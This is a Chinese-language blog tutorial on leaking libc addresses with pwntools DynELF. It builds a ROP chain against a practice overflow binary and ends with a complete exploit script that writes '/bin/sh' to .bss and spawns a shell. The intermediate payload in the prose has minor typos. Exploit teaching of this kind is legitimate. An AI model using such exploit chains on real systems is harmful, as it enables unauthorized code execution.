Memory Leak & DynELF

很多情况下,我们无法获得目标程序的libc,因此无法通过ret2libc的方式得到system函数的地址,这种情况下,我们可以通过内存泄漏的方式,在内存中搜索system函数地址,这种方式同样可以绕过ASLR保护,pwntools提供了DynELF模块 , 学习过程中推荐手动实现一遍leak的利用 ,然后再用DynELF模块 , 两种有些许不同

3 官方文档中解释:Resolve symbols in loaded, dynamically-linked ELF binaries. Given a function which can leak data at an arbitrary address, any symbol in any loaded library can be resolved.

首先我们需要实现一个leak(address)函数,通过这个函数可以获取到某个地址上最少1 byte的数据。

32位环境下 leak()函数模版:

def leak(address):
    payload1 = 'a'*(溢出偏移量) + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(address) + p32(4)
    p.send(payload1)
    data = p.recv(4)
    print "%#x => %s" % (address, (data or '').encode('hex'))
    return data

参考蒸米的一步一步学rop_x86 中level2程序

溢出偏移量为140,因此我们可以构造leak函数:

    def leak(address):
        payload1='a'*140+p32(write_plt)+p32(vuln)+p32(1)+p32(address)+p32(4)
        p.send(payload1)
        data=p.recv(4)
        print "%#x => %s"%(address,(data or ' ').encode('hex'))
        return data

随后将这个函数作为参数再调用d = DynELF(leak, elf=ELF('./level2'))就可以对DynELF模块进行初始化了。然后可以通过调用system_addr = d.lookup('system', 'libc')来得到libc.so中system()在内存中的地址。要注意的是,通过DynELF模块只能获取到system()在内存中的地址,但无法获取字符串“/bin/sh”在内存中的地址。所以我们在payload中需要调用read()将“/bin/sh”这字符串写入到程序的.bss段中。,bss段可读可写,可以在ida主界面,按下shift+F7,查看各段地址。

.bss 0804A018 0804A020 R W . . L dword 000E public BSS 32 FFFFFFFF FFFFFFFF 000D FFFFFFFF FFFFFFFF

因此bss_addr=0x0804a018。

因为我们,调用完read函数,就需要调用system函数,但read函数有三个参数,所以我们需要一个pop pop pop ret的gadget用来保证栈平衡。用ROPgadget可以找到。(32位系统特性 , 调用函数 栈传参)

pwnuser@ubuntu:~/pwn_test$ ROPgadget --binary level2 --only 'pop|ret'
Gadgets information
============================================================
0x080483d3 : pop ebp ; ret
0x080483d2 : pop ebx ; pop ebp ; ret
0x080484bc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482fc : pop ebx ; ret
0x080484be : pop edi ; pop ebp ; ret
0x080484bd : pop esi ; pop edi ; pop ebp ; ret
0x080482db : ret
Unique gadgets found: 7

很容易就找到一条符合的gadget,pppr=0x080484bd 因此,第二个payload可以构造为

payload2=‘a’*140+p32(read)+p32(pppr)+p32(1)+p32(bbs)+p32(4)+p32(system)+p32(bss)

这样read函数执行标准输入,我们再发送一个'/bin/sh'就可以将可以将其写入bss段首地址。

EXP :

    from pwn import *
    elf = ELF('./level2')
    write_plt = elf.symbols['write']
    read_plt = elf.symbols['read']
    pppr = 0x080484bd
    vuln_addr=0x08048404
    bss_addr = 0x0804a018
    def leak(address):
        payload1 = 'a'*140 + p32(write_plt) + p32(vuln_addr) + p32(1) +p32(address) + p32(4)
        p.send(payload1)
        data = p.recv(4)
        print "%#x => %s" % (address, (data or '').encode('hex'))
        return data
    p = process('./level2')
    d = DynELF(leak,elf=ELF('./level2'))
    system_addr = d.lookup('system', 'libc')
    print "system_addr=" + hex(system_addr)
    payload2 = 'a'*140  + p32(read_plt) + p32(pppr) + p32(0) + p32(bss_addr) + p32(8)+p32(system_addr) + p32(vuln_addr) + p32(bss_addr)
    print "\n###sending payload2 ...###"
    p.send(payload2)
    p.send('/bin/sh\0')
    p.interactive()
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,589评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,615评论 3 396
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,933评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,976评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,999评论 6 393
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,775评论 1 307
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,474评论 3 420
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,359评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,854评论 1 317
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 38,007评论 3 338
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,146评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,826评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,484评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,029评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,153评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,420评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,107评论 2 356

推荐阅读更多精彩内容